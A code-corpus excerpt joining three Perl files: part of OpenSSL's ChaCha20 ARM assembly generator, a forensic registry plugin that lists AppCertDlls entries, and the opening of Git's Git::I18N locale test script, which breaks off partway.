# ifdef __thumb2__
itt hs
# endif
ldrhs @t[0],[r12],#16 @ load input
ldrhs @t[1],[r12,#-12]
add @x[2],@x[2],@t[2]
add @x[3],@x[3],@t[3]
# ifdef __thumb2__
itt hs
# endif
ldrhs @t[2],[r12,#-8]
ldrhs @t[3],[r12,#-4]
# if __ARM_ARCH__>=6 && defined(__ARMEB__)
rev @x[0],@x[0]
rev @x[1],@x[1]
rev @x[2],@x[2]
rev @x[3],@x[3]
# endif
# ifdef __thumb2__
itt hs
# endif
eorhs @x[0],@x[0],@t[0] @ xor with input
eorhs @x[1],@x[1],@t[1]
add @t[0],sp,#4*(4)
str @x[0],[r14],#16 @ store output
# ifdef __thumb2__
itt hs
# endif
eorhs @x[2],@x[2],@t[2]
eorhs @x[3],@x[3],@t[3]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
str @x[1],[r14,#-12]
str @x[2],[r14,#-8]
str @x[3],[r14,#-4]
add @x[4],@x[4],@t[0] @ accumulate key material
add @x[5],@x[5],@t[1]
# ifdef __thumb2__
itt hs
# endif
ldrhs @t[0],[r12],#16 @ load input
ldrhs @t[1],[r12,#-12]
add @x[6],@x[6],@t[2]
add @x[7],@x[7],@t[3]
# ifdef __thumb2__
itt hs
# endif
ldrhs @t[2],[r12,#-8]
ldrhs @t[3],[r12,#-4]
# if __ARM_ARCH__>=6 && defined(__ARMEB__)
rev @x[4],@x[4]
rev @x[5],@x[5]
rev @x[6],@x[6]
rev @x[7],@x[7]
# endif
# ifdef __thumb2__
itt hs
# endif
eorhs @x[4],@x[4],@t[0]
eorhs @x[5],@x[5],@t[1]
add @t[0],sp,#4*(8)
str @x[4],[r14],#16 @ store output
# ifdef __thumb2__
itt hs
# endif
eorhs @x[6],@x[6],@t[2]
eorhs @x[7],@x[7],@t[3]
str @x[5],[r14,#-12]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
str @x[6],[r14,#-8]
add @x[0],sp,#4*(16+8)
str @x[7],[r14,#-4]
ldmia @x[0],{@x[0]-@x[7]} @ load second half
add @x[0],@x[0],@t[0] @ accumulate key material
add @x[1],@x[1],@t[1]
# ifdef __thumb2__
itt hs
# endif
ldrhs @t[0],[r12],#16 @ load input
ldrhs @t[1],[r12,#-12]
# ifdef __thumb2__
itt hi
# endif
strhi @t[2],[sp,#4*(16+10)] @ copy "@x[10]" while at it
strhi @t[3],[sp,#4*(16+11)] @ copy "@x[11]" while at it
add @x[2],@x[2],@t[2]
add @x[3],@x[3],@t[3]
# ifdef __thumb2__
itt hs
# endif
ldrhs @t[2],[r12,#-8]
ldrhs @t[3],[r12,#-4]
# if __ARM_ARCH__>=6 && defined(__ARMEB__)
rev @x[0],@x[0]
rev @x[1],@x[1]
rev @x[2],@x[2]
rev @x[3],@x[3]
# endif
# ifdef __thumb2__
itt hs
# endif
eorhs @x[0],@x[0],@t[0]
eorhs @x[1],@x[1],@t[1]
add @t[0],sp,#4*(12)
str @x[0],[r14],#16 @ store output
# ifdef __thumb2__
itt hs
# endif
eorhs @x[2],@x[2],@t[2]
eorhs @x[3],@x[3],@t[3]
str @x[1],[r14,#-12]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
str @x[2],[r14,#-8]
str @x[3],[r14,#-4]
add @x[4],@x[4],@t[0] @ accumulate key material
add @x[5],@x[5],@t[1]
# ifdef __thumb2__
itt hi
# endif
addhi @t[0],@t[0],#1 @ next counter value
strhi @t[0],[sp,#4*(12)] @ save next counter value
# ifdef __thumb2__
itt hs
# endif
ldrhs @t[0],[r12],#16 @ load input
ldrhs @t[1],[r12,#-12]
add @x[6],@x[6],@t[2]
add @x[7],@x[7],@t[3]
# ifdef __thumb2__
itt hs
# endif
ldrhs @t[2],[r12,#-8]
ldrhs @t[3],[r12,#-4]
# if __ARM_ARCH__>=6 && defined(__ARMEB__)
rev @x[4],@x[4]
rev @x[5],@x[5]
rev @x[6],@x[6]
rev @x[7],@x[7]
# endif
# ifdef __thumb2__
itt hs
# endif
eorhs @x[4],@x[4],@t[0]
eorhs @x[5],@x[5],@t[1]
# ifdef __thumb2__
it ne
# endif
ldrne @t[0],[sp,#4*(32+2)] @ re-load len
# ifdef __thumb2__
itt hs
# endif
eorhs @x[6],@x[6],@t[2]
eorhs @x[7],@x[7],@t[3]
str @x[4],[r14],#16 @ store output
str @x[5],[r14,#-12]
# ifdef __thumb2__
it hs
# endif
subhs @t[3],@t[0],#64 @ len-=64
str @x[6],[r14,#-8]
str @x[7],[r14,#-4]
bhi .Loop_outer
beq .Ldone
# if __ARM_ARCH__<7
b .Ltail
.align 4
.Lunaligned: @ unaligned endian-neutral path
cmp @t[3],#64 @ restore flags
# endif
#endif
#if __ARM_ARCH__<7
ldr @t[3],[sp,#4*(3)]
___
for ($i=0;$i<16;$i+=4) {
my $j=$i&0x7;
$code.=<<___ if ($i==4);
add @x[0],sp,#4*(16+8)
___
$code.=<<___ if ($i==8);
ldmia @x[0],{@x[0]-@x[7]} @ load second half
# ifdef __thumb2__
itt hi
# endif
strhi @t[2],[sp,#4*(16+10)] @ copy "@x[10]"
strhi @t[3],[sp,#4*(16+11)] @ copy "@x[11]"
___
$code.=<<___;
add @x[$j+0],@x[$j+0],@t[0] @ accumulate key material
___
$code.=<<___ if ($i==12);
# ifdef __thumb2__
itt hi
# endif
addhi @t[0],@t[0],#1 @ next counter value
strhi @t[0],[sp,#4*(12)] @ save next counter value
___
$code.=<<___;
add @x[$j+1],@x[$j+1],@t[1]
add @x[$j+2],@x[$j+2],@t[2]
# ifdef __thumb2__
itete lo
# endif
eorlo @t[0],@t[0],@t[0] @ zero or ...
ldrhsb @t[0],[r12],#16 @ ... load input
eorlo @t[1],@t[1],@t[1]
ldrhsb @t[1],[r12,#-12]
add @x[$j+3],@x[$j+3],@t[3]
# ifdef __thumb2__
itete lo
# endif
eorlo @t[2],@t[2],@t[2]
ldrhsb @t[2],[r12,#-8]
eorlo @t[3],@t[3],@t[3]
ldrhsb @t[3],[r12,#-4]
eor @x[$j+0],@t[0],@x[$j+0] @ xor with input (or zero)
eor @x[$j+1],@t[1],@x[$j+1]
# ifdef __thumb2__
itt hs
# endif
ldrhsb @t[0],[r12,#-15] @ load more input
ldrhsb @t[1],[r12,#-11]
eor @x[$j+2],@t[2],@x[$j+2]
strb @x[$j+0],[r14],#16 @ store output
eor @x[$j+3],@t[3],@x[$j+3]
# ifdef __thumb2__
itt hs
# endif
ldrhsb @t[2],[r12,#-7]
ldrhsb @t[3],[r12,#-3]
strb @x[$j+1],[r14,#-12]
eor @x[$j+0],@t[0],@x[$j+0],lsr#8
strb @x[$j+2],[r14,#-8]
eor @x[$j+1],@t[1],@x[$j+1],lsr#8
# ifdef __thumb2__
itt hs
# endif
ldrhsb @t[0],[r12,#-14] @ load more input
ldrhsb @t[1],[r12,#-10]
strb @x[$j+3],[r14,#-4]
eor @x[$j+2],@t[2],@x[$j+2],lsr#8
strb @x[$j+0],[r14,#-15]
eor @x[$j+3],@t[3],@x[$j+3],lsr#8
# ifdef __thumb2__
itt hs
# endif
ldrhsb @t[2],[r12,#-6]
ldrhsb @t[3],[r12,#-2]
strb @x[$j+1],[r14,#-11]
eor @x[$j+0],@t[0],@x[$j+0],lsr#8
strb @x[$j+2],[r14,#-7]
eor @x[$j+1],@t[1],@x[$j+1],lsr#8
# ifdef __thumb2__
itt hs
# endif
ldrhsb @t[0],[r12,#-13] @ load more input
ldrhsb @t[1],[r12,#-9]
strb @x[$j+3],[r14,#-3]
eor @x[$j+2],@t[2],@x[$j+2],lsr#8
strb @x[$j+0],[r14,#-14]
eor @x[$j+3],@t[3],@x[$j+3],lsr#8
# ifdef __thumb2__
itt hs
# endif
ldrhsb @t[2],[r12,#-5]
ldrhsb @t[3],[r12,#-1]
strb @x[$j+1],[r14,#-10]
strb @x[$j+2],[r14,#-6]
eor @x[$j+0],@t[0],@x[$j+0],lsr#8
strb @x[$j+3],[r14,#-2]
eor @x[$j+1],@t[1],@x[$j+1],lsr#8
strb @x[$j+0],[r14,#-13]
eor @x[$j+2],@t[2],@x[$j+2],lsr#8
strb @x[$j+1],[r14,#-9]
eor @x[$j+3],@t[3],@x[$j+3],lsr#8
strb @x[$j+2],[r14,#-5]
strb @x[$j+3],[r14,#-1]
___
$code.=<<___ if ($i<12);
add @t[0],sp,#4*(4+$i)
ldmia @t[0],{@t[0]-@t[3]} @ load key material
___
}
$code.=<<___;
# ifdef __thumb2__
it ne
# endif
ldrne @t[0],[sp,#4*(32+2)] @ re-load len
# ifdef __thumb2__
it hs
# endif
subhs @t[3],@t[0],#64 @ len-=64
bhi .Loop_outer
beq .Ldone
#endif
.Ltail:
ldr r12,[sp,#4*(32+1)] @ load inp
add @t[1],sp,#4*(0)
ldr r14,[sp,#4*(32+0)] @ load out
.Loop_tail:
ldrb @t[2],[@t[1]],#1 @ read buffer on stack
ldrb @t[3],[r12],#1 @ read input
subs @t[0],@t[0],#1
eor @t[3],@t[3],@t[2]
strb @t[3],[r14],#1 @ store output
bne .Loop_tail
.Ldone:
add sp,sp,#4*(32+3)
.Lno_data:
ldmia sp!,{r4-r11,pc}
.size ChaCha20_ctr32,.-ChaCha20_ctr32
___
{{{
my ($a0,$b0,$c0,$d0,$a1,$b1,$c1,$d1,$a2,$b2,$c2,$d2,$t0,$t1,$t2,$t3) =
map("q$_",(0..15));
sub NEONROUND {
my $odd = pop;
my ($a,$b,$c,$d,$t)=@_;
(
"&vadd_i32 ($a,$a,$b)",
"&veor ($d,$d,$a)",
"&vrev32_16 ($d,$d)", # vrot ($d,16)
"&vadd_i32 ($c,$c,$d)",
"&veor ($t,$b,$c)",
"&vshr_u32 ($b,$t,20)",
"&vsli_32 ($b,$t,12)",
"&vadd_i32 ($a,$a,$b)",
"&veor ($t,$d,$a)",
"&vshr_u32 ($d,$t,24)",
"&vsli_32 ($d,$t,8)",
"&vadd_i32 ($c,$c,$d)",
"&veor ($t,$b,$c)",
"&vshr_u32 ($b,$t,25)",
"&vsli_32 ($b,$t,7)",
"&vext_8 ($c,$c,$c,8)",
"&vext_8 ($b,$b,$b,$odd?12:4)",
"&vext_8 ($d,$d,$d,$odd?4:12)"
);
}
$code.=<<___;
#if __ARM_MAX_ARCH__>=7
.arch armv7-a
.fpu neon
.type ChaCha20_neon,%function
.align 5
ChaCha20_neon:
ldr r12,[sp,#0] @ pull pointer to counter and nonce
stmdb sp!,{r0-r2,r4-r11,lr}
.LChaCha20_neon:
adr r14,.Lsigma
vstmdb sp!,{d8-d15} @ ABI spec says so
stmdb sp!,{r0-r3}
vld1.32 {$b0-$c0},[r3] @ load key
ldmia r3,{r4-r11} @ load key
sub sp,sp,#4*(16+16)
vld1.32 {$d0},[r12] @ load counter and nonce
add r12,sp,#4*8
ldmia r14,{r0-r3} @ load sigma
vld1.32 {$a0},[r14]! @ load sigma
vld1.32 {$t0},[r14] @ one
vst1.32 {$c0-$d0},[r12] @ copy 1/2key|counter|nonce
vst1.32 {$a0-$b0},[sp] @ copy sigma|1/2key
str r10,[sp,#4*(16+10)] @ off-load "@x[10]"
str r11,[sp,#4*(16+11)] @ off-load "@x[11]"
vshl.i32 $t1#lo,$t0#lo,#1 @ two
vstr $t0#lo,[sp,#4*(16+0)]
vshl.i32 $t2#lo,$t0#lo,#2 @ four
vstr $t1#lo,[sp,#4*(16+2)]
vmov $a1,$a0
vstr $t2#lo,[sp,#4*(16+4)]
vmov $a2,$a0
vmov $b1,$b0
vmov $b2,$b0
b .Loop_neon_enter
.align 4
.Loop_neon_outer:
ldmia sp,{r0-r9} @ load key material
cmp @t[3],#64*2 @ if len<=64*2
bls .Lbreak_neon @ switch to integer-only
vmov $a1,$a0
str @t[3],[sp,#4*(32+2)] @ save len
vmov $a2,$a0
str r12, [sp,#4*(32+1)] @ save inp
vmov $b1,$b0
str r14, [sp,#4*(32+0)] @ save out
vmov $b2,$b0
.Loop_neon_enter:
ldr @t[3], [sp,#4*(15)]
vadd.i32 $d1,$d0,$t0 @ counter+1
ldr @x[12],[sp,#4*(12)] @ modulo-scheduled load
vmov $c1,$c0
ldr @t[2], [sp,#4*(13)]
vmov $c2,$c0
ldr @x[14],[sp,#4*(14)]
vadd.i32 $d2,$d1,$t0 @ counter+2
str @t[3], [sp,#4*(16+15)]
mov @t[3],#10
add @x[12],@x[12],#3 @ counter+3
b .Loop_neon
.align 4
.Loop_neon:
subs @t[3],@t[3],#1
___
my @thread0=&NEONROUND($a0,$b0,$c0,$d0,$t0,0);
my @thread1=&NEONROUND($a1,$b1,$c1,$d1,$t1,0);
my @thread2=&NEONROUND($a2,$b2,$c2,$d2,$t2,0);
my @thread3=&ROUND(0,4,8,12);
foreach (@thread0) {
eval; eval(shift(@thread3));
eval(shift(@thread1)); eval(shift(@thread3));
eval(shift(@thread2)); eval(shift(@thread3));
}
@thread0=&NEONROUND($a0,$b0,$c0,$d0,$t0,1);
@thread1=&NEONROUND($a1,$b1,$c1,$d1,$t1,1);
@thread2=&NEONROUND($a2,$b2,$c2,$d2,$t2,1);
@thread3=&ROUND(0,5,10,15);
foreach (@thread0) {
eval; eval(shift(@thread3));
eval(shift(@thread1)); eval(shift(@thread3));
eval(shift(@thread2)); eval(shift(@thread3));
}
$code.=<<___;
bne .Loop_neon
add @t[3],sp,#32
vld1.32 {$t0-$t1},[sp] @ load key material
vld1.32 {$t2-$t3},[@t[3]]
ldr @t[3],[sp,#4*(32+2)] @ load len
str @t[0], [sp,#4*(16+8)] @ modulo-scheduled store
str @t[1], [sp,#4*(16+9)]
str @x[12],[sp,#4*(16+12)]
str @t[2], [sp,#4*(16+13)]
str @x[14],[sp,#4*(16+14)]
@ at this point we have first half of 512-bit result in
@ @x[0-7] and second half at sp+4*(16+8)
ldr r12,[sp,#4*(32+1)] @ load inp
ldr r14,[sp,#4*(32+0)] @ load out
vadd.i32 $a0,$a0,$t0 @ accumulate key material
vadd.i32 $a1,$a1,$t0
vadd.i32 $a2,$a2,$t0
vldr $t0#lo,[sp,#4*(16+0)] @ one
vadd.i32 $b0,$b0,$t1
vadd.i32 $b1,$b1,$t1
vadd.i32 $b2,$b2,$t1
vldr $t1#lo,[sp,#4*(16+2)] @ two
vadd.i32 $c0,$c0,$t2
vadd.i32 $c1,$c1,$t2
vadd.i32 $c2,$c2,$t2
vadd.i32 $d1#lo,$d1#lo,$t0#lo @ counter+1
vadd.i32 $d2#lo,$d2#lo,$t1#lo @ counter+2
vadd.i32 $d0,$d0,$t3
vadd.i32 $d1,$d1,$t3
vadd.i32 $d2,$d2,$t3
cmp @t[3],#64*4
blo .Ltail_neon
vld1.8 {$t0-$t1},[r12]! @ load input
mov @t[3],sp
vld1.8 {$t2-$t3},[r12]!
veor $a0,$a0,$t0 @ xor with input
veor $b0,$b0,$t1
vld1.8 {$t0-$t1},[r12]!
veor $c0,$c0,$t2
veor $d0,$d0,$t3
vld1.8 {$t2-$t3},[r12]!
veor $a1,$a1,$t0
vst1.8 {$a0-$b0},[r14]! @ store output
veor $b1,$b1,$t1
vld1.8 {$t0-$t1},[r12]!
veor $c1,$c1,$t2
vst1.8 {$c0-$d0},[r14]!
veor $d1,$d1,$t3
vld1.8 {$t2-$t3},[r12]!
veor $a2,$a2,$t0
vld1.32 {$a0-$b0},[@t[3]]! @ load for next iteration
veor $t0#hi,$t0#hi,$t0#hi
vldr $t0#lo,[sp,#4*(16+4)] @ four
veor $b2,$b2,$t1
vld1.32 {$c0-$d0},[@t[3]]
veor $c2,$c2,$t2
vst1.8 {$a1-$b1},[r14]!
veor $d2,$d2,$t3
vst1.8 {$c1-$d1},[r14]!
vadd.i32 $d0#lo,$d0#lo,$t0#lo @ next counter value
vldr $t0#lo,[sp,#4*(16+0)] @ one
ldmia sp,{@t[0]-@t[3]} @ load key material
add @x[0],@x[0],@t[0] @ accumulate key material
ldr @t[0],[r12],#16 @ load input
vst1.8 {$a2-$b2},[r14]!
add @x[1],@x[1],@t[1]
ldr @t[1],[r12,#-12]
vst1.8 {$c2-$d2},[r14]!
add @x[2],@x[2],@t[2]
ldr @t[2],[r12,#-8]
add @x[3],@x[3],@t[3]
ldr @t[3],[r12,#-4]
# ifdef __ARMEB__
rev @x[0],@x[0]
rev @x[1],@x[1]
rev @x[2],@x[2]
rev @x[3],@x[3]
# endif
eor @x[0],@x[0],@t[0] @ xor with input
add @t[0],sp,#4*(4)
eor @x[1],@x[1],@t[1]
str @x[0],[r14],#16 @ store output
eor @x[2],@x[2],@t[2]
str @x[1],[r14,#-12]
eor @x[3],@x[3],@t[3]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
str @x[2],[r14,#-8]
str @x[3],[r14,#-4]
add @x[4],@x[4],@t[0] @ accumulate key material
ldr @t[0],[r12],#16 @ load input
add @x[5],@x[5],@t[1]
ldr @t[1],[r12,#-12]
add @x[6],@x[6],@t[2]
ldr @t[2],[r12,#-8]
add @x[7],@x[7],@t[3]
ldr @t[3],[r12,#-4]
# ifdef __ARMEB__
rev @x[4],@x[4]
rev @x[5],@x[5]
rev @x[6],@x[6]
rev @x[7],@x[7]
# endif
eor @x[4],@x[4],@t[0]
add @t[0],sp,#4*(8)
eor @x[5],@x[5],@t[1]
str @x[4],[r14],#16 @ store output
eor @x[6],@x[6],@t[2]
str @x[5],[r14,#-12]
eor @x[7],@x[7],@t[3]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
str @x[6],[r14,#-8]
add @x[0],sp,#4*(16+8)
str @x[7],[r14,#-4]
ldmia @x[0],{@x[0]-@x[7]} @ load second half
add @x[0],@x[0],@t[0] @ accumulate key material
ldr @t[0],[r12],#16 @ load input
add @x[1],@x[1],@t[1]
ldr @t[1],[r12,#-12]
# ifdef __thumb2__
it hi
# endif
strhi @t[2],[sp,#4*(16+10)] @ copy "@x[10]" while at it
add @x[2],@x[2],@t[2]
ldr @t[2],[r12,#-8]
# ifdef __thumb2__
it hi
# endif
strhi @t[3],[sp,#4*(16+11)] @ copy "@x[11]" while at it
add @x[3],@x[3],@t[3]
ldr @t[3],[r12,#-4]
# ifdef __ARMEB__
rev @x[0],@x[0]
rev @x[1],@x[1]
rev @x[2],@x[2]
rev @x[3],@x[3]
# endif
eor @x[0],@x[0],@t[0]
add @t[0],sp,#4*(12)
eor @x[1],@x[1],@t[1]
str @x[0],[r14],#16 @ store output
eor @x[2],@x[2],@t[2]
str @x[1],[r14,#-12]
eor @x[3],@x[3],@t[3]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
str @x[2],[r14,#-8]
str @x[3],[r14,#-4]
add @x[4],@x[4],@t[0] @ accumulate key material
add @t[0],@t[0],#4 @ next counter value
add @x[5],@x[5],@t[1]
str @t[0],[sp,#4*(12)] @ save next counter value
ldr @t[0],[r12],#16 @ load input
add @x[6],@x[6],@t[2]
add @x[4],@x[4],#3 @ counter+3
ldr @t[1],[r12,#-12]
add @x[7],@x[7],@t[3]
ldr @t[2],[r12,#-8]
ldr @t[3],[r12,#-4]
# ifdef __ARMEB__
rev @x[4],@x[4]
rev @x[5],@x[5]
rev @x[6],@x[6]
rev @x[7],@x[7]
# endif
eor @x[4],@x[4],@t[0]
# ifdef __thumb2__
it hi
# endif
ldrhi @t[0],[sp,#4*(32+2)] @ re-load len
eor @x[5],@x[5],@t[1]
eor @x[6],@x[6],@t[2]
str @x[4],[r14],#16 @ store output
eor @x[7],@x[7],@t[3]
str @x[5],[r14,#-12]
sub @t[3],@t[0],#64*4 @ len-=64*4
str @x[6],[r14,#-8]
str @x[7],[r14,#-4]
bhi .Loop_neon_outer
b .Ldone_neon
.align 4
.Lbreak_neon:
@ harmonize NEON and integer-only stack frames: load data
@ from NEON frame, but save to integer-only one; distance
@ between the two is 4*(32+4+16-32)=4*(20).
str @t[3], [sp,#4*(20+32+2)] @ save len
add @t[3],sp,#4*(32+4)
str r12, [sp,#4*(20+32+1)] @ save inp
str r14, [sp,#4*(20+32+0)] @ save out
ldr @x[12],[sp,#4*(16+10)]
ldr @x[14],[sp,#4*(16+11)]
vldmia @t[3],{d8-d15} @ fulfill ABI requirement
str @x[12],[sp,#4*(20+16+10)] @ copy "@x[10]"
str @x[14],[sp,#4*(20+16+11)] @ copy "@x[11]"
ldr @t[3], [sp,#4*(15)]
ldr @x[12],[sp,#4*(12)] @ modulo-scheduled load
ldr @t[2], [sp,#4*(13)]
ldr @x[14],[sp,#4*(14)]
str @t[3], [sp,#4*(20+16+15)]
add @t[3],sp,#4*(20)
vst1.32 {$a0-$b0},[@t[3]]! @ copy key
add sp,sp,#4*(20) @ switch frame
vst1.32 {$c0-$d0},[@t[3]]
mov @t[3],#10
b .Loop @ go integer-only
.align 4
.Ltail_neon:
cmp @t[3],#64*3
bhs .L192_or_more_neon
cmp @t[3],#64*2
bhs .L128_or_more_neon
cmp @t[3],#64*1
bhs .L64_or_more_neon
add @t[0],sp,#4*(8)
vst1.8 {$a0-$b0},[sp]
add @t[2],sp,#4*(0)
vst1.8 {$c0-$d0},[@t[0]]
b .Loop_tail_neon
.align 4
.L64_or_more_neon:
vld1.8 {$t0-$t1},[r12]!
vld1.8 {$t2-$t3},[r12]!
veor $a0,$a0,$t0
veor $b0,$b0,$t1
veor $c0,$c0,$t2
veor $d0,$d0,$t3
vst1.8 {$a0-$b0},[r14]!
vst1.8 {$c0-$d0},[r14]!
beq .Ldone_neon
add @t[0],sp,#4*(8)
vst1.8 {$a1-$b1},[sp]
add @t[2],sp,#4*(0)
vst1.8 {$c1-$d1},[@t[0]]
sub @t[3],@t[3],#64*1 @ len-=64*1
b .Loop_tail_neon
.align 4
.L128_or_more_neon:
vld1.8 {$t0-$t1},[r12]!
vld1.8 {$t2-$t3},[r12]!
veor $a0,$a0,$t0
veor $b0,$b0,$t1
vld1.8 {$t0-$t1},[r12]!
veor $c0,$c0,$t2
veor $d0,$d0,$t3
vld1.8 {$t2-$t3},[r12]!
veor $a1,$a1,$t0
veor $b1,$b1,$t1
vst1.8 {$a0-$b0},[r14]!
veor $c1,$c1,$t2
vst1.8 {$c0-$d0},[r14]!
veor $d1,$d1,$t3
vst1.8 {$a1-$b1},[r14]!
vst1.8 {$c1-$d1},[r14]!
beq .Ldone_neon
add @t[0],sp,#4*(8)
vst1.8 {$a2-$b2},[sp]
add @t[2],sp,#4*(0)
vst1.8 {$c2-$d2},[@t[0]]
sub @t[3],@t[3],#64*2 @ len-=64*2
b .Loop_tail_neon
.align 4
.L192_or_more_neon:
vld1.8 {$t0-$t1},[r12]!
vld1.8 {$t2-$t3},[r12]!
veor $a0,$a0,$t0
veor $b0,$b0,$t1
vld1.8 {$t0-$t1},[r12]!
veor $c0,$c0,$t2
veor $d0,$d0,$t3
vld1.8 {$t2-$t3},[r12]!
veor $a1,$a1,$t0
veor $b1,$b1,$t1
vld1.8 {$t0-$t1},[r12]!
veor $c1,$c1,$t2
vst1.8 {$a0-$b0},[r14]!
veor $d1,$d1,$t3
vld1.8 {$t2-$t3},[r12]!
veor $a2,$a2,$t0
vst1.8 {$c0-$d0},[r14]!
veor $b2,$b2,$t1
vst1.8 {$a1-$b1},[r14]!
veor $c2,$c2,$t2
vst1.8 {$c1-$d1},[r14]!
veor $d2,$d2,$t3
vst1.8 {$a2-$b2},[r14]!
vst1.8 {$c2-$d2},[r14]!
beq .Ldone_neon
ldmia sp,{@t[0]-@t[3]} @ load key material
add @x[0],@x[0],@t[0] @ accumulate key material
add @t[0],sp,#4*(4)
add @x[1],@x[1],@t[1]
add @x[2],@x[2],@t[2]
add @x[3],@x[3],@t[3]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
add @x[4],@x[4],@t[0] @ accumulate key material
add @t[0],sp,#4*(8)
add @x[5],@x[5],@t[1]
add @x[6],@x[6],@t[2]
add @x[7],@x[7],@t[3]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
# ifdef __ARMEB__
rev @x[0],@x[0]
rev @x[1],@x[1]
rev @x[2],@x[2]
rev @x[3],@x[3]
rev @x[4],@x[4]
rev @x[5],@x[5]
rev @x[6],@x[6]
rev @x[7],@x[7]
# endif
stmia sp,{@x[0]-@x[7]}
add @x[0],sp,#4*(16+8)
ldmia @x[0],{@x[0]-@x[7]} @ load second half
add @x[0],@x[0],@t[0] @ accumulate key material
add @t[0],sp,#4*(12)
add @x[1],@x[1],@t[1]
add @x[2],@x[2],@t[2]
add @x[3],@x[3],@t[3]
ldmia @t[0],{@t[0]-@t[3]} @ load key material
add @x[4],@x[4],@t[0] @ accumulate key material
add @t[0],sp,#4*(8)
add @x[5],@x[5],@t[1]
add @x[4],@x[4],#3 @ counter+3
add @x[6],@x[6],@t[2]
add @x[7],@x[7],@t[3]
ldr @t[3],[sp,#4*(32+2)] @ re-load len
# ifdef __ARMEB__
rev @x[0],@x[0]
rev @x[1],@x[1]
rev @x[2],@x[2]
rev @x[3],@x[3]
rev @x[4],@x[4]
rev @x[5],@x[5]
rev @x[6],@x[6]
rev @x[7],@x[7]
# endif
stmia @t[0],{@x[0]-@x[7]}
add @t[2],sp,#4*(0)
sub @t[3],@t[3],#64*3 @ len-=64*3
.Loop_tail_neon:
ldrb @t[0],[@t[2]],#1 @ read buffer on stack
ldrb @t[1],[r12],#1 @ read input
subs @t[3],@t[3],#1
eor @t[0],@t[0],@t[1]
strb @t[0],[r14],#1 @ store output
bne .Loop_tail_neon
.Ldone_neon:
add sp,sp,#4*(32+4)
vldmia sp,{d8-d15}
add sp,sp,#4*(16+3)
ldmia sp!,{r4-r11,pc}
.size ChaCha20_neon,.-ChaCha20_neon
.comm OPENSSL_armcap_P,4,4
#endif
___
}}}
foreach (split("\n",$code)) {
s/\`([^\`]*)\`/eval $1/geo;
s/\bq([0-9]+)#(lo|hi)/sprintf "d%d",2*$1+($2 eq "hi")/geo;
print $_,"\n";
}
close STDOUT;
| openweave/openweave-core | third_party/openssl/openssl/crypto/chacha/asm/chacha-armv4.pl | Perl | apache-2.0 | 27,559 |
#-----------------------------------------------------------
# appcertdlls.pl
#
# History:
# 20120912 - created
#
# References:
#
#
#
# copyright 2012 Quantum Analytics Research, LLC
# Author: H. Carvey, keydet89@yahoo.com
#-----------------------------------------------------------
package appcertdlls;
use strict;
my %config = (hive => "System",
hivemask => 4,
output => "report",
category => "malware",
hasShortDescr => 1,
hasDescr => 0,
hasRefs => 0,
osmask => 31, #XP - Win7
version => 20120817);
sub getConfig{return %config}
sub getShortDescr {
return "Get entries from AppCertDlls key";
}
sub getDescr{}
sub getRefs {}
sub getHive {return $config{hive};}
sub getVersion {return $config{version};}
my $VERSION = getVersion();
my %files;
my @temps;
sub pluginmain {
my $class = shift;
my $hive = shift;
::logMsg("Launching appcertdlls v.".$VERSION);
my $reg = Parse::Win32Registry->new($hive);
my $root_key = $reg->get_root_key;
# First thing to do is get the ControlSet00x marked current...this is
# going to be used over and over again in plugins that access the system
# file
my ($current,$ccs);
my $key_path = 'Select';
my $key;
if ($key = $root_key->get_subkey($key_path)) {
$current = $key->get_value("Current")->get_data();
$ccs = "ControlSet00".$current;
my $appcert_path = $ccs."\\Control\\Session Manager\\AppCertDlls";
my $appcert;
if ($appcert = $root_key->get_subkey($appcert_path)) {
my @vals = $appcert->get_list_of_values();
if (scalar(@vals) > 0) {
foreach my $v (@vals) {
my $name = $v->get_name();
my $data = $v->get_data();
::rptMsg($name." - ".$data);
}
}
else {
::rptMsg($appcert_path."has no values.");
}
}
else {
::rptMsg($appcert_path." not found.");
}
}
else {
::rptMsg($key_path." not found.");
}
}
1; | millmanorama/autopsy | thirdparty/rr-full/plugins/appcertdlls.pl | Perl | apache-2.0 | 1,963 |
#!/usr/bin/perl
use 5.008;
use lib (split(/:/, $ENV{GITPERLLIB}));
use strict;
use warnings;
use POSIX qw(:locale_h);
use Test::More tests => 8;
use Git::I18N;
my $has_gettext_library = $Git::I18N::__HAS_LIBRARY;
ok(1, "Testing Git::I18N with " .
($has_gettext_library
? (defined $Locale::Messages::VERSION
? "Locale::Messages version $Locale::Messages::VERSION"
# Versions of Locale::Messages before 1.17 didn't have a
# $VERSION variable.
: "Locale::Messages version <1.17")
: "NO Perl gettext library"));
ok(1, "Git::I18N is located at $INC{'Git/I18N.pm'}");
{
my $exports = @Git::I18N::EXPORT;
ok($exports, "sanity: Git::I18N has $exports export(s)");
}
is_deeply(\@Git::I18N::EXPORT, \@Git::I18N::EXPORT_OK, "sanity: Git::I18N exports everything by default");
# prototypes
{
# Add prototypes here when modifying the public interface to add
# more gettext wrapper functions.
my %prototypes = (qw(
__ $
));
while (my ($sub, $proto) = each %prototypes) {
is(prototype(\&{"Git::I18N::$sub"}), $proto, "sanity: $sub has a $proto prototype");
}
}
# Test basic passthrough in the C locale
{
local $ENV{LANGUAGE} = 'C';
local $ENV{LC_ALL} = 'C';
local $ENV{LANG} = 'C';
my ($got, $expect) = (('TEST: A Perl test string') x 2);
is(__($got), $expect, "Passing a string through __() in the C locale works");
}
# Test a basic message on different locales
SKIP: {
unless ($ENV{GETTEXT_LOCALE}) {
# Can't reliably test __() with a non-C locales because the
# required locales may not be installed on the system.
#
# We test for these anyway as part of the shell
# tests. Skipping these here will eliminate failures on odd
# platforms with incomplete locale data.
skip "GETTEXT_LOCALE must be set by lib-gettext.sh for exhaustive Git::I18N tests", 2;
}
# The is_IS UTF-8 locale passed from lib-gettext.sh
my $is_IS_locale = $ENV{is_IS_locale};
my $test = sub {
my ($got, $expect, $msg, $locale) = @_;
# Maybe this system doesn't have the locale we're trying to
# test.
my $locale_ok = setlocale(LC_ALL, $locale);
is(__($got), $expect, "$msg a gettext library + <$locale> locale <$got> turns into <$expect>");
};
my $env_C = sub {
$ENV{LANGUAGE} = 'C';
$ENV{LC_ALL} = 'C';
};
my $env_is = sub {
$ENV{LANGUAGE} = 'is';
